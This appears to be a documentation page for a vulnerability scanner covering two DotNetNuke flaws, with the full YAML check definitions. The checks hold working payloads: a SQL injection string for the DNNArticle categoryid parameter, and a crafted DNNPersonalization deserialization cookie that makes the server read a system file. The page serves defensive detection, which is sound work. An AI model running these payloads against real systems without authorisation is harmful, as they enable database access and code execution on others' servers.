DotNetNuke — 2 vulnerability checks
noctis ships 2 vulnerability checks for DotNetNuke, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
DotNetNuke DNNArticle module DNNArticleRSS.aspx categoryid SQL Injection
| CVE | CVE-2013-5117 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dotnetnuke/CVE-2013-5117.yaml |
The DNNArticle module of DotNetNuke (version 10.0 and earlier) puts the categoryid parameter of DesktopModules/DNNArticle/DNNArticleRSS.aspx, unquoted and unvalidated, into a SQL Server query, without authentication, allowing SQL injection.
This check, on the web root, /dnn and /DotNetNuke, requests the RSS page with moduleid=0 and a categoryid that makes SQL Server convert the text 'NOCTIS' followed by the product of two random numbers to an integer. The vulnerability is confirmed when the error page quotes that product as computed by the database: it never appears in the request. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/DesktopModules/DNNArticle/DNNArticleRSS.aspx?{{sc.q}} - Parses / computes the next value with a Rhai script
- Checks
hitfor^/→ finding QoD 97: DotNetNuke DNNArticle module categoryid SQL Injection (CVE-2013-5117)
References:
Feed source — tests/vulnerabilities/dotnetnuke/CVE-2013-5117.yaml
# DotNetNuke DNNArticle module (<= 10.0) — DNNArticleRSS.aspx categoryid SQL injection — CVE-2013-5117
#
# DesktopModules/DNNArticle/DNNArticleRSS.aspx pastes categoryid (with moduleid set)
# unquoted into its SQL Server query. The public PoC is
# categoryid=1+or+1=@@version
# whose conversion error quotes the server version.
#
# Better than the source NASL: the NASL greps "converting the nvarchar.*Microsoft SQL
# Server" in the error page. This feed makes the database compute a value that is not in
# the request: 1 or 1=convert(int,'NOCTIS'+cast(A*B as varchar(20))) with random A, B
# makes SQL Server fail with "Conversion failed when converting the varchar value
# 'NOCTIS<A*B>' to data type int" — the product only exists if the injected expression
# was evaluated (a page that merely echoes the query string cannot show it). It also
# tries the module under /dnn and /DotNetNuke. Read-only: no table is read, nothing is written.
#
# Source: OpenVAS/Greenbone NASL 2013/gb_dotnetnuke_dnnarticle_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803868, GPL-2.0-only).
uid: caf54a53-8028-4ca1-a08d-d974a808a1ec
name: "DotNetNuke DNNArticle module DNNArticleRSS.aspx categoryid SQL Injection (CVE-2013-5117)"
description: |
The DNNArticle module of DotNetNuke (version 10.0 and earlier) puts the categoryid
parameter of DesktopModules/DNNArticle/DNNArticleRSS.aspx, unquoted and unvalidated,
into a SQL Server query, without authentication, allowing SQL injection.
This check, on the web root, /dnn and /DotNetNuke, requests the RSS page with
moduleid=0 and a categoryid that makes SQL Server convert the text 'NOCTIS' followed by
the product of two random numbers to an integer. The vulnerability is confirmed when the
error page quotes that product as computed by the database: it never appears in the
request. No stored data is read and nothing is written.
cves: [CVE-2013-5117]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [dotnetnuke, dnnarticle, sqli, error-based, mssql, aspnet]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5117"
# OpenVAS/Greenbone NASL 2013/gb_dotnetnuke_dnnarticle_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(100, 999);
let b = rand_int(1000, 9999);
#{ want: "NOCTIS" + (a * b),
expr: a + "*" + b,
q: "moduleid=0&categoryid=1%20or%201=convert(int,%27NOCTIS%27%2bcast(" + a + "*" + b + "%20as%20varchar(20)))" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit
var_value: ""
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/dnn", "/DotNetNuke"]
- id: probe
action: http_request
method: GET
path: "{{dir}}/DesktopModules/DNNArticle/DNNArticleRSS.aspx?{{sc.q}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit == ""'
store_as: resp
- id: check
action: script
condition: 'hit == "" && resp.status > 0'
code: |
let body = if type_of(resp.body) == "string" { resp.body } else { "" };
let d = if dir == "" { "/" } else { dir };
if ereg("converting the n?varchar value (?:'|�?39;|'|')" + sc.want + "(?:'|�?39;|'|') to data type int", body) { d } else { "" }
store_as: hit
- id: report
action: match
source: hit
pattern: "^/"
on_match:
finding:
title: "DotNetNuke DNNArticle module categoryid SQL Injection (CVE-2013-5117)"
description: "An unauthenticated DNNArticleRSS.aspx request whose categoryid converts the text 'NOCTIS' plus the product of two random numbers to an integer returned the SQL Server conversion error quoting that product: the categoryid parameter is injected into the SQL query, so an attacker can read or alter the database."
remediation: "Update the DNNArticle module to a release that fixes CVE-2013-5117, or remove it. If you maintain the code, bind categoryid as an integer query parameter."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit}}: DNNArticleRSS.aspx?categoryid=1 or 1=convert(int,'NOCTIS'+cast({{sc.expr}} as varchar(20))) returned a conversion error quoting the database-computed value {{sc.want}}"
stop: trueDotNetNuke DNNPersonalization Cookie Deserialization RCE
| CVE | CVE-2017-9822 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 97 |
| Feed | tests/vulnerabilities/dotnetnuke/CVE-2017-9822.yaml |
Detects the DotNetNuke (DNN) 5.0.0 - 9.1.0 unauthenticated XmlSerializer deserialization of the plaintext DNNPersonalization cookie (CVE-2017-9822, CISA KEV). A crafted cookie makes the deserializer invoke DNN's FileSystemUtils.WriteFile: on C:\Windows\win.ini (finding when win.ini's section headers appear and were absent from a cookie-less baseline), else on a random non-existent file (finding when WriteFile's "Error : " message names that per-run file). Benign: only a public system file is read into the response. Does not cover the 9.1.1 - 9.3.x encrypted-cookie bypasses (CVE-2018-15811/15812/18325/18326).
How noctis detects it
- HTTP(S) request
GET /__ - Checks
base.bodyfor(?m)^\[(extensions|mci extensions|fonts|files)\]\s*$ - HTTP(S) request
GET /__ - Checks
probe.bodyfor(?m)^\[(extensions|mci extensions|fonts|files)\]\s*$→ finding QoD 97: DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile and C:\Windows\win.ini section headers were st… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /__ - Parses / computes the next value with a Rhai script
- Checks
errokfor^yes$→ finding QoD 97: DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile on the per-run file C:\….ini and its 'Error : …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-9822
- https://github.com/murataydemir/CVE-2017-9822
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9822.yaml
- https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
Feed source — tests/vulnerabilities/dotnetnuke/CVE-2017-9822.yaml
# DotNetNuke (DNN) — DNNPersonalization cookie deserialization (CVE-2017-9822)
#
# Ported from the ProjectDiscovery Nuclei template `http/cves/2017/CVE-2017-9822.yaml`;
# same payload as the Metasploit module `exploits/windows/http/dnn_cookie_deserialization_rce`
# ("read file" mode) and ysoserial.net's DotNetNuke plugin.
#
# DNN 5.0.0 to 9.1.0 deserializes the plaintext `DNNPersonalization` cookie of
# anonymous visitors with XmlSerializer, taking the target type from the
# attacker-supplied `type` attribute. DNN loads the profile when it renders its
# own 404 page, so a request to a missing path (`/__`) is enough. CISA KEV, used
# by ransomware operators.
#
# 9.1.1 did not whitelist types: it encrypts the cookie with the site key, so a
# plaintext payload no longer decrypts. 9.1.1 - 9.3.x remain exploitable through
# the encrypted-cookie bypasses (CVE-2018-15811, -15812, -18325, -18326), which
# need the site key / a known-plaintext step and are NOT covered here: a clean
# result on 9.1.1 - 9.3.x does not mean the site is safe.
#
# Detection — benign exercises of the deserialization primitive (QoD 97). The
# cookie carries an ExpandedWrapper<FileSystemUtils, ObjectDataProvider>;
# deserializing it makes ObjectDataProvider invoke DNN's own static
# `FileSystemUtils.WriteFile(<path>)`, which streams the file into the response
# ahead of the page HTML, or writes "Error : <exception message>" when it fails.
# Nothing is written, executed or persisted on the target.
# 1. WriteFile("C:\Windows\win.ini") — a world-known, non-secret file. Its
# section headers at the start of a line, absent from a cookie-less
# baseline of the same page, prove an attacker-chosen method ran.
# 2. Fallback when (1) did not fire: WriteFile("C:\noctis-<random>.ini"), a
# file that cannot exist. WriteFile's catch block writes
# "Error : <message naming the path>"; the finding needs that "Error : "
# prefix and the per-run random name on one line that is not a reflection of
# the request XML. Covers hosts whose Windows directory is not C:\Windows or
# that have no win.ini, and is bound to a per-run nonce. The message text
# itself is localized on some .NET installs, so only "Error : " + the
# random name are matched.
#
# Better than the Nuclei template (intentional):
# - Baseline differential for (1): the same path is fetched first WITHOUT the
# cookie; if that page already shows win.ini-like section headers (honeypot,
# page publishing win.ini), or the baseline request failed, (1) is skipped.
# - Headers must sit at the start of a line, as WriteFile emits them.
# - No 404-status requirement: DNN sites with a custom 404 tab answer 200 and
# are still vulnerable; Nuclei misses them.
# - The nonce-bound error-path proof (2) catches hosts Nuclei misses.
uid: 84af3fb9-0bcc-4f3f-9c50-a616572dec23
name: "DotNetNuke DNNPersonalization Cookie Deserialization RCE (CVE-2017-9822)"
description: |
Detects the DotNetNuke (DNN) 5.0.0 - 9.1.0 unauthenticated XmlSerializer
deserialization of the plaintext DNNPersonalization cookie (CVE-2017-9822,
CISA KEV). A crafted cookie makes the deserializer invoke DNN's
FileSystemUtils.WriteFile: on C:\Windows\win.ini (finding when win.ini's
section headers appear and were absent from a cookie-less baseline), else on
a random non-existent file (finding when WriteFile's "Error : " message names
that per-run file). Benign: only a public system file is read into the
response. Does not cover the 9.1.1 - 9.3.x encrypted-cookie bypasses
(CVE-2018-15811/15812/18325/18326).
cves: [CVE-2017-9822]
cvss: 8.8
severity: high
confidence_base: 0.25
category: rce
tags: [dotnetnuke, dnn, deserialization, xmlserializer, rce, kev, ransomware, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-9822"
- "https://github.com/murataydemir/CVE-2017-9822"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-9822.yaml"
- "https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf"
steps:
- id: init-baseline-ini
action: set_var
var_name: baseline_ini
var_value: false
- id: init-baseline-ok
action: set_var
var_name: baseline_ok
var_value: false
# Baseline: same 404 path, no personalization cookie.
- id: baseline
action: http_request
method: GET
port: "{{port}}"
path: "/__"
tls_insecure: true
store_as: base
on_success:
set_vars:
baseline_ok: true
- id: baseline-ini-check
action: match
source: base.body
pattern: "(?m)^\\[(extensions|mci extensions|fonts|files)\\]\\s*$"
condition: "baseline_ok == true"
on_match:
set_vars:
baseline_ini: true
# Proof 1: ExpandedWrapper<FileSystemUtils, ObjectDataProvider> -> WriteFile(win.ini).
- id: deser-probe
action: http_request
method: GET
port: "{{port}}"
path: "/__"
tls_insecure: true
headers:
Accept: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01"
X-Requested-With: "XMLHttpRequest"
Cookie: 'dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>'
store_as: probe
- id: deser-confirm
action: match
source: probe.body
pattern: "(?m)^\\[(extensions|mci extensions|fonts|files)\\]\\s*$"
condition: "baseline_ok == true && baseline_ini == false"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile and C:\\Windows\\win.ini section headers were streamed into the response (HTTP {{probe.status}}), absent from the cookie-less baseline (CVE-2017-9822)"
stop: true
# Proof 2 (reached only when proof 1 did not fire): WriteFile on a per-run
# random file that cannot exist -> "Error : <message naming the file>".
- id: init-errprobe-ok
action: set_var
var_name: errprobe_ok
var_value: false
- id: gen-token
action: script
code: |
"noctis-" + rand_hex(8)
store_as: tok
- id: deser-err-probe
action: http_request
method: GET
port: "{{port}}"
path: "/__"
tls_insecure: true
headers:
Accept: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01"
X-Requested-With: "XMLHttpRequest"
Cookie: 'dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\{{tok}}.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>'
store_as: errprobe
on_success:
set_vars:
errprobe_ok: true
# One line must hold "Error : " followed by the random file name, and must not
# be a reflection of the request XML (no "anyType" / "DNNPersonalization").
- id: deser-err-check
action: script
condition: "errprobe_ok == true"
code: |
let needle = tok + ".ini";
let ok = false;
if type_of(errprobe.body) == "string" {
for line in errprobe.body.split("\n") {
let e = line.index_of("Error : ");
let n = line.index_of(needle);
if e >= 0 && n > e && !line.contains("anyType") && !line.contains("DNNPersonalization") {
ok = true;
}
}
}
if ok { "yes" } else { "no" }
store_as: errok
- id: deser-err-confirm
action: match
source: errok
pattern: "^yes$"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "DNNPersonalization cookie deserialized: ObjectDataProvider invoked FileSystemUtils.WriteFile on the per-run file C:\\{{tok}}.ini and its 'Error : ' handler named that file in the response (HTTP {{errprobe.status}}) (CVE-2017-9822)"